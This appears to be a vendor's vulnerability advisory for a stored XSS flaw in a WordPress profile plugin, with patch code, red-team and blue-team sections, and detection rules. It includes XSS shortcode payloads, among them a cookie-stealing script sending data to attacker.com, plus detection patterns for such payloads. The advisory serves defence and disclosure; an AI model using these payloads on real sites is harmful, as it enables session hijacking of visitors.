CVE-2025-2314
Executive Summary
CVE-2025-2314 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Profile Builder WordPress plugin (versions up to and including 3.13.5). The vulnerability exists due to insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute whenever a user visits a page containing the malicious shortcode. This is a WordPress ecosystem issue, not related to Apache or Nginx.
The vulnerability has a CVSS score of 6.4 (Medium), with a low attack complexity and no user interaction required for the stored payload to trigger. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the presence of a public proof-of-concept and the plugin's widespread use make this a significant risk for WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WP-CLI are affected. The plugin is not an NPM, PyPI, Go, or Ruby package, so standard supply chain scanning tools may not detect this. Administrators should verify plugin versions manually or via WordPress update notifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): None (N) – No user action needed for the stored XSS to execute.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to session hijacking, defacement, or phishing campaigns against site visitors.
Deep Dive & Mechanics
The vulnerability resides in the User Profile Builder plugin's shortcode handling. The plugin registers shortcodes (e.g., [user-profile-builder]) that accept user-supplied attributes. In versions up to 3.13.5, these attributes are not properly sanitized or escaped before being rendered in the HTML output.
An attacker with contributor-level access can create a post or page containing a malicious shortcode like:
[user-profile-builder attribute="<script>alert('XSS')</script>"]
When the shortcode is processed, the plugin outputs the attribute value directly into the page without escaping, causing the script to execute in the browser of any visitor.
The partial patch in 3.13.6 addressed some instances but left others unpatched. The full patch in 3.13.7 applies proper esc_attr() and wp_kses() functions to all shortcode attributes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.13.5):
// In shortcode handler
function upb_shortcode($atts) {
$output = '<div class="upb-wrapper" data-attribute="' . $atts['attribute'] . '">';
// ... rest of output
return $output;
}
Patched Code (>= 3.13.7):
// In shortcode handler
function upb_shortcode($atts) {
$attribute = isset($atts['attribute']) ? esc_attr($atts['attribute']) : '';
$output = '<div class="upb-wrapper" data-attribute="' . $attribute . '">';
// ... rest of output
return $output;
}
The patch uses esc_attr() to escape the attribute value, preventing XSS. Additionally, wp_kses() may be applied to allow only safe HTML tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with User Profile Builder plugin <= 3.13.5
- Authenticated user with contributor-level privileges or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode with a malicious payload:
[user-profile-builder attribute="<img src=x onerror=alert('XSS')>"] - Publish the post.
- Any user visiting the post will see an alert box (or execute arbitrary JavaScript).
Advanced Payload (Session Hijacking):
[user-profile-builder attribute="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"]
Note: No public exploit-db code or nuclei template is available for this CVE at the time of analysis.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing shortcodes with suspicious attributes (e.g.,
<script>,onerror=,onload=). - Use WAF rules to block requests containing XSS patterns in shortcode attributes.
- Review WordPress user roles and limit contributor access to trusted users only.
Prevention:
- Immediately update the plugin to version 3.13.7 or later.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a WordPress security plugin that scans for malicious shortcodes.
Indicators of Compromise (IOCs)
File Indicators:
- Presence of shortcodes with suspicious attributes in
wp_posts.post_contentdatabase table. - Modified plugin files (check file integrity against WordPress repository).
- Presence of shortcodes with suspicious attributes in
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Unusual JavaScript execution in browser console when visiting pages with User Profile Builder shortcodes.
Log Indicators:
- WordPress audit logs showing creation of posts/pages by contributors with unusual shortcode attributes.
- Web server logs showing requests to pages with
[user-profile-builderin the URL (if shortcodes are used in URLs).
Detection Engineering
YARA Rule
rule CVE_2025_2314_Stored_XSS_WordPress {
meta:
description = "Detects stored XSS payloads in User Profile Builder shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2314"
strings:
$shortcode = /\[user-profile-builder\s+[^\]]*?(?:<script|<img\s+[^>]*?onerror|<svg\s+[^>]*?onload)/i
$payload = /(?:<script|<img\s+[^>]*?onerror|<svg\s+[^>]*?onload)/i
condition:
$shortcode and $payload
}
Sigma Rule
title: CVE-2025-2314 Stored XSS via User Profile Builder Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via User Profile Builder shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '[user-profile-builder'
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of shortcodes with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-2314 Stored XSS via User Profile Builder Shortcode"; flow:to_server,established; content:"[user-profile-builder"; http_uri; nocase; content:"<script"; http_uri; nocase; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the User Profile Builder plugin to version 3.13.7 or later.
- If immediate update is not possible, disable the plugin temporarily.
- Review and remove any posts/pages created by contributors that contain suspicious shortcodes.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce strict Content Security Policy (CSP) headers.
- Regularly audit WordPress user roles and permissions.
- Subscribe to WordPress security advisories for plugin vulnerabilities.
Workarounds:
- Use a WordPress security plugin that blocks malicious shortcodes.
- Manually add
esc_attr()to shortcode attributes in the plugin code (not recommended for non-developers).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.